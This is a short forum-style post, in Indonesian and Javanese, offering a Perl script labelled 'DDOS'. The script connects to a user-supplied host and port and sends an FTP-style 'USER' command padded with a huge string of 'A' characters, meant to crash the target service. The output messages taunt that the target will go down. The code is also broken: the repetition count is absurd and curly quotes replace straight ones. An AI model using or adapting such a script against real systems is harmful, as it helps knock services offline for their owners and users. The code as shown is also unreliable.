Perl DDOS by kang ilalang23

Project by ilalang23

ddos perl mungkin bisa jalan.

#!/usr/bin/perl
use IO::Socket;

print “\n  |————————————————-|”;
print “\n  |Dor…Dor…Dor…koboi main Tembak terselubung  |”;
print “\n  |————————————————-|”;
print “\n  |”;

if (@ARGV < 2)
{
print “\n[!] Penggunaan: perl tembak.pl [Host] [Port] “;
print “\n[!] Contoh: perl tembak.pl [ip] [port]“;
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];

$exploit = “A” x 800000000000000000000000000000000000000000000;

$socket = IO::Socket::INET->new( Proto => “tcp”, PeerAddr => “$ip”, PeerPort => “$port”) || die “\n[-] Koneksi: Gagal!\n”;
print “\n[+] Koneksi: Ok!\n”;
print “[+] Ngirim Pasukan Demit…\n”;

print $socket “USER $exploit\n”;
sleep(5);
close($socket);

print “[?] Modiar ora kowe!\n”;
print “[?] wait sasaran down mbut !\n”;

#ilalang23 [07.12.09]